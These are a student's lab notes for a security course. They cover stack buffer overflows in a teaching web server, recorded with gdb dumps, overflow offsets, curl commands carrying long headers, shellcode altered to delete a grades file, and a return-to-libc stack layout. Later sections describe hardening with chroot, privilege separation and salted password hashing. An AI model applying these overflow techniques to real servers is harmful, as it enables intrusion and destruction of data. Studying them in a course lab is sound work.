

# 858 labs

- check if sshd is running with `pgrep -A | grep ssh`

## gdb commands

- `p <expr>` - executes C syntax `expr` and prints output
- `x/<#><type> <addr>` - examine memory at an address, print up to `#` bytes in `type` format
- `info reg` - prints human-interpretable stack registers
- `info frame` - prints human-interpretable stack frame
- `info stack` - prints call stack
- `disas <addr>` - print assembly code corresponding to instruction address

## Lab 1

### Part 1

#### reqpath overflow

```

1  &fd                = 0xbffffde0
2  $ebp               = 0xbffffdd8
3  &reqpath - 2048    = 0xbffffdcc
4  &reqpath           = 0xbffff5cc

```

If writing length > 2612 bytes, the function `http.c:url_decode` tries to access the address `0xc0000000`, which is protected kernel memory.

If writing length 2608 bytes, the function `http.c:env_deserialize` segfaults, trying to access an address `0x41414142`.

If writing length 2072 bytes, inside `http_request_line` the address `0xbffffdcc` has `0x414141...` but not outside the function?

before:

```

1  (gdb) x/20x reqpath+2032
2  0xbffffdbc:      0x00000000      0x00000000      0x00000000      0x0
   00000000
3  0xbffffdcc:      0x401dc000      0xbfffffe18      0x40014f10      0xb
   fffffe18
4  0xbffffddc:      0x08048fb3      0x00000004      0x401dc000      0xb
   fffffe18

```

5	0xbffffdec: 0036dc8	0x08048f88	0xffffffff	0x0000002f	0x4
6	0xbffffdfc: 0000004	0x40029858	0x00008000	0x00000000	0x0

right after:

1	0xbffffdbc: 1414141	0x41414141	0x41414141	0x41414141	0x4
2	0xbffffdcc: 1414141	0x41414141	0x41414141	0x41414141	0x4
3	0xbffffddc: ffffe18	0x41414141	0x41414141	0x40004141	0xb
4	0xbffffdec: 0036dc8	0x08048f88	0xffffffff	0x0000002f	0x4
5	0xbffffdfc: 0000004	0x40029858	0x00008000	0x00000000	0x0

after env\_deserialize:

1	(gdb) x/20x reqpath+2032				
2	0xbffffdbc: 1414141	0x41414141	0x41414141	0x41414141	0x4
3	0xbffffdcc: 1414141	<b>0x00000000</b>	0x41414141	0x41414141	0x4
4	0xbffffddc: ffffe18	<b>0x41414141</b>	<b>0x41414141</b>	<b>0x40004141</b>	0xb
5	0xbffffdec: 0036dc8	<b>0x08048f88</b>	0xffffffff	0x0000002f	0x4
6	0xbffffdfc: 0000004	0x40029858	0x00008000	0x00000000	0x0

• notes:

- 0xbffffdcc = reqpath+2048
- \*0xbffffdcc = errmsg
- 0xbffffddc = saved eip, points to run\_server line for process\_client call
- 0xbffffdd8 = &fd
- 0xbffffdd4: AAA string ends there

Right length is 2068 for corrupting return address

### http\_request\_headers overflow

1	&value = 0xbffff394
2	&envvar = 0xbffff194

1	Stack level 0, frame at 0xbffff5b0:
2	eip = 0x8049502 in http_request_headers (http.c:159); saved eip = 0x8049083

```

3  called by frame at 0xbffffde0
4  source language c.
5  Arglist at 0xbffff5a8, args: fd=4
6  Locals at 0xbffff5a8, Previous frame's sp is 0xbffff5b0
7  Saved registers:
8  ebp at 0xbffff5a8, eip at 0xbffff5ac

```

Saved return address @ 0xbffff5ac, saved ebp @ 0xbffff5a8

Run the command:

```
curl http://192.168.218.128:8080/ -H "HOST: <'A' repeated >540 times>"
```

Or

```
curl http://192.168.218.128:8080/ -H "<'A' repeated >1047 times>: 0"
```

Before url\_decode/sprintf:

```

1  (gdb) x/20x 0xBFFFF594-4
2  0xbffff590:      0x00000000      0x08050144      0x08050146      0x0
   00000004
3  0xbffff5a0:      0x00000000      0x00000000      0xbffffdd8      0x0
   8049083
4  0xbffff5b0:      0x00000004      0x00001faf      0x0804c120      0x0
   804e120
5  0xbffff5c0:      0x00000000      0x00000000      0x00000000      0x0
   000002f
6  0xbffff5d0:      0x00000000      0x00000000      0x00000000      0x0
   0000000

```

After url\_decode/sprintf call:

```

1  0xbffff590:      0x41414141      0x41414141      0x41414141      0x4
   1414141
2  0xbffff5a0:      0x41414141      0x41414141      0x41414141      0x4
   1414141
3  0xbffff5b0:      0x00000004      0x00001faf      0x0804c120      0x0
   804e120
4  0xbffff5c0:      0x00000000      0x00000000      0x00000000      0x0
   000002f
5  0xbffff5d0:      0x00000000      0x00000000      0x00000000      0x0
   0000000

```

**http\_serve overflow**

send request with pathname longer than 1024, shorter than 2048 (to not overflow reqpath)

**http\_serve\_directory overflow**

this was a little trickier...

the problem is that you need a valid pathname for `stat` to return a falsey value (0)

trick is to do this: `/zoobar/../../zoobar/../../zoobar/...` etc.

`curl` normally compresses the path for you, unless you use the flag `--path-as-is`

**Writing the exploits**

Easy, just gotta make sure you get the HTTP request format correct

I did the one where you send a long header value for the "overwrite return value" exploit

For the "other data structure" exploit, I hijacked `handler` in `http_serve` by overflowing `pn`. Stuck for a while on how to URL-encode my instruction address (for `http_err` instead of `http_serve_none`, but this would break anyway cause the args are different). Turns out you have to use `struct.pack("<I", <int>)` and `urllib.quote()`.

**Part 2****shellcode.S (warmup)**

This took a little bit to understand

- `int 0x80` is the `interrupt` command, and `0x80` is interrupt for `syscall`
- Gotta set the `syscall` number correctly in line 21 (to `SYS_unlink` instead of `SYS_execve`)
- Then change the argument in `ebx` (used to be doing `SYS_execve` on `/bin/sh`, now it's calling `SYS_unlink` on `/home/httpd/grades.txt`)
- Make sure you change the `STRLEN` macro to match the length of `STRING`

**deleting grades.txt**

My approach: store the `shellcode.bin` in a buffer, then overflow that same buffer and set the return address to the start address of that buffer (since it's an executable stack)

going to use the vulnerability #1 in `bugs.txt` (`reqpath`)

`reqpath` is at `0xbffff5bc`

saved eip is at `0xbffffdcc`

difference is 2080 bytes

`shellcode.bin` is 60 bytes from `ls`

ugh actually this is breaking before I can return from `process_client`

will try `http_request_headers` instead, or maybe try preserving other important values on stack in gdb: `x/20x reqpath+2032`

sad i tried preserving values and it was beautiful (even added `fd` back in, which was being overwritten by null character at end of my overflowed buffer) but `http_serve` thwarted me... fine i will use `http_request_headers`

before anything bad:

```
1 (gdb) info frame
```

```

2 Stack level 0, frame at 0xbffff5a0:
3   eip = 0x8049502 in http_request_headers (http.c:159); saved eip = 0x8049083
4   called by frame at 0xbffffdd0
5   source language c.
6   Arglist at 0xbffff598, args: fd=4
7   Locals at 0xbffff598, Previous frame's sp is 0xbffff5a0
8   Saved registers:
9   ebp at 0xbffff598, eip at 0xbffff59c

```

```

1 (gdb) x/20x value+496
2 0xbffff574:      0x0804a752      0x00000001      0x00000000      0x0
  00000000
3 0xbffff584:      0x08050147      0x08050149      0x00000007      0x0
  00000000
4 0xbffff594:      0x00000000      0xbffffdc8      0x08049083      0x0
  00000004
5 0xbffff5a4:      0x00001faf      0x0804c120      0x0804e120      0x0
  00000000
6 0xbffff5b4:      0x00000000      0x00000000      0x0000002f      0x0
  00000000

```

```

1 (gdb) p value
2 $3 = "\353\037^\211v\027\061\300\210F\026\211F\033\260\n\211\363\215N\027\21
  5V\033\377\377\377\334\350\@330\_/home/httpd/grades.txt", 'A' <repeats 452 t
  imes>

```

whew finally got this

had to take care to preserve values on stack between the end of the buffer and the saved eip so as to not corrupt function flow and get correctly to the function return

## Part 3

### exploit-4a:

address of libc's system call: 0x40063da0

address of unlink: 0x40100680

```
int unlink(const char *file);
```

```

1 Stack level 0, frame at 0xbffff5a0:
2   eip = 0x8049502 in http_request_headers (http.c:159); saved eip = 0x8049083
3   called by frame at 0xbffffdd0
4   source language c.

```

```

5 Arglist at 0xbffff598, args: fd=4
6 Locals at 0xbffff598, Previous frame's sp is 0xbffff5a0
7 Saved registers:
8   ebp at 0xbffff598, eip at 0xbffff59c

```

&fd from caller is at 0xbffffdd0

```

1 (gdb) x/20x value+496
2 0xbffff574:      0x0804a752      0x00000001      0x00000000      0x0
   00000000
3 0xbffff584:      0x08050147      0x08050149      0x00000007      0x0
   00000000
4 0xbffff594:      0x00000000      0xbffffdc8      0x08049083      0x0
   00000004
5 0xbffff5a4:      0x00001faf      0x0804c120      0x0804e120      0x0
   00000000
6 0xbffff5b4:      0x00000000      0x00000000      0x0000002f      0x0
   00000000

```

					now start of arg path string
0xbffff5a4				0xbffff5a8	now address to start of arg path string
0xbffff5a0		0x00000004		0x41414141	now address to return to after
0xbffff59c	ret→	0x08049083		0x40100680	now address of unlink
0xbffff598	EBP→	0xbffffdc8	ESP→	0x00000000	saved ebp (higher address)
0xbffff594		0x00000000		0xFFFFFFFF	old local var
0xbffff590		0x00000000		0xFFFFFFFF	old local var
0xbffff58c	ESP ↓	0x00000007		0xFFFFFFFF	old local var

#### exploit-4b:

```

&pn = 0xbffff18c
&handler = 0xbffff58c

```

```

1 Stack level 0, frame at 0xbffff5a0:
2   eip = 0x804985d in http_serve (http.c:282); saved eip = 0x80490c5
3   called by frame at 0xbffffdd0
4   source language c.

```

```

5 Arglist at 0xbffff598, args: fd=4, name=0x8053744 "/", 'A' <repeats 199 times>...
6 Locals at 0xbffff598, Previous frame's sp is 0xbffff5a0
7 Saved registers:
8 ebp at 0xbffff598, eip at 0xbffff59c

```

```

1 (gdb) x/20x pn+1008
2 0xbffff57c:      0x0000000b      0xbffffdc8      0x40015010      0x4
   00570f9
3 0xbffff58c:      0x080498fa      0x401db000      0x401db000      0xb
   ffffdc8
4 0xbffff59c:      0x080490c5      0x00000004      0x08053744      0x0
   804c120
5 0xbffff5ac:      0x0804e120      0x00000000      0x00000000      0x0
   0000000
6 0xbffff5bc:      0x4141412f      0x41414141      0x41414141      0x4
   1414141

```

## Part 4

other security vulnerabilities - `http_serve_executable`, `http_serve_file`, `http_serve_directory`

fix them by replacing dangerous string ops with

```

1 n = snprintf(dst, dst_size, "%s", src);
2 if (n >= dst_size)
3     panic();

```

## Lab 2

- run `sudo make setup` and `sudo ./zookld zook.conf`

### Part 1

#### Exercise 2

edited `zookld.c` to jail process being launched with calls to `chroot` and then to `chdir` to change the working dir to the new jail directory

#### Exercise 3

set `uid`, `gid`, and `groups` for the launched services in `zookld.c`. make sure to set `uid` last, since you need to still be superuser (`uid=0`) to `chroot` etc.

edited `chroot-setup.sh` to set perms of dirs appropriately (so that new `zookfs_svc` process can edit files still)

#### Exercise 4

split `zookfs_svc` into static and dynamic content serving. use `chroot-setup` to make sure perms are sets appropriately (e.g. so that static service doesn't have db write access)

#### Exercise 5

Edited files:

- `chroot-setup.sh` - added `/authsvc` dir for socket with right owner, changed permissions on new cred db
- `zoobar/auth-server.py` - filled in 3 rpc functions for login, register, and checking tokens
- `zoobar/auth.py` - changed to use cred db instead of person db
- `zoobar/auth_client.py` - filled in 3 rpc calls
- `zoobar/login.py` - changed to use `auth_client` module instead of `auth`
- `zoobar/zoodb.py` - added new cred db, defined schema, added setup function
- `zook.conf` - added new `auth_svc`

#### Exercise 6

just generate a salt on register, convert to base64, store in cred table, then use hash function to hash pw + salt and store result in cred table

then on login, retrieve salt and hash together with alleged pw, then check against table

#### Exercise 7

same thing as ex5 but with new bank

also added rpc calls for `get_log` and `create`

bank service has permissions to transfer db and bank db

#### Exercise 8

just added another param `token` to rpc call for `transfer` and added it in the calls

#### Exercise 9

Added another service in conf, changed uid of `profile-service` to be nonzero (non-root)

#### Exercise 10

Made subdirectories for each user inside `/jail` (converting weird characters as needed) and chrooted to that dir instead of `/tmp`

#### Exercise 11

Made `ProfileAPIServer` non-root, using the other `bank` and `auth` clients instead of calling directly